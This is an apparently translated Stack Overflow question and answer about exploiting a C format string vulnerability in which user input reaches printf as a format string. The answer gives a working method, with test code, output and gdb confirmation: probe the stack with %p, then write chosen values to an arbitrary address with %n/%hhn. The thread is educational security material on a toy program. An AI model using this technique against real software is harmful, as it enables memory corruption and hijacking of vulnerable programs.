【问题标题】:C sprintf exploit (formatting attack)C sprintf 漏洞利用(格式化攻击)
【发布时间】:2018-12-12 15:40:52
【问题描述】:

我想使用格式字符串漏洞(特别是 sprintf)将整数 1 写入地址 0x08049940

这就是函数的样子

void greet(char *s) {
   char buf[666];
   sprintf(buf, "Hello %s!\n", s);
   printf(buf);
}

我尝试了多个教程,但我相信它们不起作用,因为我的字符串已经以“Hello”开头。所以我尝试使用输入开始写更低

%.1%n\x39\x99\x04\x08

低 7 个值,以及原始地址附近的其他地址。然而我的 gdb 调试器一直告诉我 0x08049940 上的地址仍然是代码中指定的默认地址。

【问题讨论】:

  • 我没有看到它应该如何产生格式字符串攻击。这种攻击通常围绕程序使用用户输入作为格式字符串。即使我们假设"Hello %s!\n" 代表用户输入,这种攻击也取决于用户提供的格式字符串,其中包含与其余实际参数不匹配的格式指令,而您的示例中并非如此。
  • @4386427 它不应该溢出缓冲区。它应该写到一个特定的地址
  • @4386427 如果s (+"Hello ") 比buf 长,它会溢出。但这绝对不是格式刺攻击,而是堆栈溢出。
  • 此外,对printf-family 函数之一的格式字符串攻击最容易用于提取数据,而不是修改它。我真的完全看不出您希望如何通过您提供的任何东西来修改特定地址的数据。
  • @4386427 对,使用特定输入不会。如果被\0终止当然...

标签: c printf exploit


【解决方案1】:

您不会利用sprintf 进行格式字符串攻击,而是利用后来的printf 调用。

如果您可以观察输出,则利用它相当容易。您可以使用足够的%p%x 制作一个字符串,而不是直接进行漏洞利用,直到您看到所需的字节。例如这个程序对我有用:

#include <stdio.h>

void greet(char *s) {
   char buf[666];
   sprintf(buf, "Hello %s!\n", s);
   printf(buf);
}

int main(void) {
    greet("aaaaaa%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p"
          "%p%p%p%p%p%p%p%0#p\x01\x02\x03\x04");
}

我用gcc -m32编译并运行,输出是

Hello aaaaaaaa0x566386f00x566386fc0x566385ac0xf7f4e5580x1
0x10x566386fc0x6548d9a40x206f6c6c0x616161610x61616161
0x702570250x702570250x702570250x702570250x70257025
0x702570250x702570250x702570250x702570250x70257025
0x702570250x702570250x4030201!

现在我们看到了0x04030201,我们可以将最后的%0#p 更改为%hhn 以将一个字节 写入地址,或者将%hn 更改为short,或者%nint。这个数字是到目前为止写入的字符数,转换为charshortint

当我们知道地址在堆栈中的哪个位置时,我们可以将每个%p 更改为%c,并且我们知道它将只消耗一个字符,从而更好地控制结果数字。

我们在开始时对as 有一些懈怠 - 这可用于更改其中一个转换的精度,以根据需要更改轻松写入的字符数(例如,如果结果数字是123 太低,可以通过打印一个124字符域宽度的字符来扩展:%124c);可以通过从提示中删除 3 个 a 来抵消增加的计数。

这可以再次使用%0#p进行验证:

greet("aaa%123c%c%c%c%c%c%p%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%0#p\x01\x02\x03\x04");

我们得到:

Hello aaa                

���X0x565e46fc�la1%%%%%%%%%%%%0x4030201!

最后我们只需将%0#p 替换为%hhn 就可以了。

为了证明它确实是在写地址 0x04030201,你可以使用gdb to find out the address that caused the violation

Program received signal SIGSEGV, Segmentation fault.
0xf7e216aa in vfprintf () from /lib32/libc.so.6
(gdb) p $_siginfo._sifields._sigfault.si_addr
$1 = (void *) 0x4030201

剩下的留给读者作为练习......

【讨论】:

    猜你喜欢
    • 2014-09-14
    • 2020-10-26
    • 1970-01-01
    • 2015-04-16
    • 2017-09-12
    • 1970-01-01
    • 2013-10-10
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多